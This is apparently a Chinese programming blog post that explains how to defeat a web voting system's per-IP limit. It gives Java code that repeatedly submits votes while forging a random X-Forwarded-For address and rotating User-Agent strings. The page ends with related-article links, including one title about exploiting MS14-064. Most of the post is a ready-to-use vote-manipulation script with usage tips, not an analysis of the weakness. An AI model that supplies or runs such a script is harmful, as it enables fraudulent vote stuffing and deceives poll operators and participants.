伪造http的ip地址,突破ip限制的投票程序
某WEB投票程序, 使用 ip 限制和cookie限制技术,来限制每个ip每天只能投一次票,使用的是php开发,获取访问者的 ip 使用了搜狐的接口:
http://txt.go.sohu.com/ip/soip
下面是如何突破 ip 限制,达到任意控制投票的 ip ,从而如破 ip 限制:
package com.github.digdeep126; import java.io.OutputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random; public class Post {
public static final String[] ipArrays = {
"66.102.251.", "112.211.0.", "141.8.225.","159.106.121.",
"216.58.221.", "61.244.148.", "59.125.39.", "58.30.15.", "114.80.166.",
"202.96.134.", "58.19.24.", "119.39.23.", "58.195.128.", "124.236.223.",
"183.221.217.", "222.182.90.", "58.194.96.", "211.138.161.",
"112.112.13.", "219.159.82.", "202.98.226.", " 61.128.101.",
"130.039.000.", "130.039.255.", "131.230.000.","131.230.255.",
"144.092.000.", "144.092.255.", "151.000.000.", "152.255.255.",
"161.058.000.", "161.058.255.", "169.208.000.", "169.223.255.",
"171.208.000.", "171.220.255.", "195.010.040.", "195.010.040.",
"195.010.062.", "195.010.063.", "195.010.194.", "195.010.194.",
"195.063.159.", "195.063.159.", "195.090.044.", "195.090.046.",
"195.090.047.", "195.090.048.", "195.090.049.", "195.090.051.",
"195.090.052.", "195.090.053.", "195.100.066.", "195.112.164.",
"195.112.172.", "195.112.173."}; public static void main(String[] args) throws Exception{ for(int i=0; i<20; i++){
Runnable runn = new Runnable() {
public void run() {
try {
post();
} catch (Exception e) {
e.printStackTrace();
}
}
};
new Thread(runn).run();
Thread.sleep(2000);
}
} public static void post() throws Exception{
URL url = new URL("http://xxxxxxxxxxxx");
URLConnection con = url.openConnection(); con.setDoOutput(true);
con.setDoInput(true); Random r = new Random();
Integer counter = r.nextInt(255); int index = r.nextInt(34);
String ip = ipArrays[index]; con.setRequestProperty("X-Forwarded-For", ip + counter);
System.out.println(ip+counter);
con.setRequestProperty("cache-control","max-age=0");
if(r.nextInt(10) % 2 == 0)
con.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.142 Safari/535.19");
else
con.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"); con.setUseCaches(false); OutputStream out = con.getOutputStream();
out.write(("data=" + xxx).getBytes());
out.flush();
out.close();
con.getInputStream();
}
}
每运行一次,开了20个线程去 post 提交20次,提交的数据为:data=xxxx,每次提交伪造一个 ip 地址。突破了server 端 PHP 代码中的ip限制。
至于 如何 知道 提交的数据为:data=xxx,使用 firebug或者chrome调试下就清楚了。
伪造http的ip地址,突破ip限制的投票程序的更多相关文章
- 获取IP地址 & 伪装IP地址发送请求
//获取请求客户端IP地址 public final static String getIpAddress(HttpServletRequest request) throws IOExcepti ...
- Windows:查看IP地址,IP地址对应的机器名,占用的端口,以及占用该端口的应用程
Windows 服务器系列: Windows:查看IP地址,IP地址对应的机器名,占用的端口,以及占用该端口的应用程 Windows:使用Dos命令管理服务(Services) Windows:任务调 ...
- 根据IP地址获取IP的详细信息
<?php header('Content-Type:text/html; charset=utf-8'); function ip_data() { $ip = GetIP(); $url = ...
- linux修改主机名,关闭图形化界面,绑定ip地址,修改ip地址
1关闭图形化界面 vi /etc/inittab 改成id:3:initdefault: 注意:不要选0或6 2.修改主机名 vi /etc/sysconfig/network 修改即可 3,修改ip ...
- 获取ip地址&&测试ip地址
# request# 动态页面加载 Selenium# request# 响应类型为 json# import json # json.loads(str) # 将str转化为dict# json.d ...
- TC命令流量控制测试(针对具体IP地址和IP协议)
这里测试系统为Linux操作系统,通过简单的TC命令来实现对带宽的控制. 1对具体IP地址的流量控制 这里采用iperf来进行带宽的测试,首先在服务器和客户端都安装上iperf软件,通过该软件下的命令 ...
- IP地址分类/IP地址10开头和172开头和192开头的区别/判断是否同一网段(A、B、C三类地址)【转】
简单来说在公司或企业内部看到的就基本都是内网IP,ABC三类IP地址里的常见IP段. 每个IP地址都包含两部分,即网络号和主机号. InterNIC将IP地址分为五类:A类保留给ZF或大型企业,B类分 ...
- 服务器ip地址 服务器ip登录方法
服务器是指保存有该网络中所有主机的域名和对应IP地址,并具有将域名转换为IP地址功能的服务器.其中域名必须对应一个IP地址,一个域名可以有多个IP地址,而IP地址不一定有域名. 简单的解释就是:服 ...
- [Swift]LeetCode93. 复原IP地址 | Restore IP Addresses
Given a string containing only digits, restore it by returning all possible valid IP address combina ...
- [Swift]LeetCode468. 验证IP地址 | Validate IP Address
Write a function to check whether an input string is a valid IPv4 address or IPv6 address or neither ...
随机推荐
- gitlab web hook
https://pypi.python.org/pypi/glhooks/0.1.0 https://filippo.io/a-python-github-push-webhook-handler/ ...
- SNAT,是源地址转换,其作用是将ip数据包的源地址转换成另外一个地址
SNAT,可能有人觉得奇怪,好好的为什么要进行ip地址转换啊,为了弄懂这个问题,我们要看一下局域网用户上公网的原理,假设内网主机A(192.168.2.8)要和外网主机B(61.132.62.131) ...
- 算法:二分查找(python版)
#!/usr/bin/env python #coding -*- utf:8 -*- #二分查找#时间复杂度O(logn)#一个时间常量O(1)将问题的规模缩小一半,则O(logn) import ...
- Spring mvc web.xml中 urlpatten的配置问题
在使用spring mvc 是我们会配置spring 的DispatcherServlet作为请求的转发器. <servlet> <servlet-name>spring< ...
- Python中类的定义
class Student(object): # 有点类似其它高级语言的构造函数 def __init__(self,name,score): self.name = name self.score ...
- Mac上安装go环境
Mac 安装 GO语言开发环境 官网:https://golang.org/ go语言的安装:http://docscn.studygolang.com/doc/install 下载:go1.7rc3 ...
- reset
html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, ...
- 【NodeJS 学习笔记02】入门资源很重要
前言 在我映像中,异步最早出现与ajax,当时我还在搞.net,然后.net居然出了一个异步的控件...... 虽然我最后知道了他不是异步的......然后,前端异步用得特别多,如果不是异步的程序,你 ...
- [deviceone开发]-HeaderView和FooterView的示例
一.简介 这个是利用do_ListView组件实现下拉和上拉刷新功能的例子,除了do_ListView,其它比如do_Webview,do_ScrollView都有这个个功能.对应的BBS里的帖子详细 ...
- MS14-064 漏洞测试入侵win7
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术, 远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – ...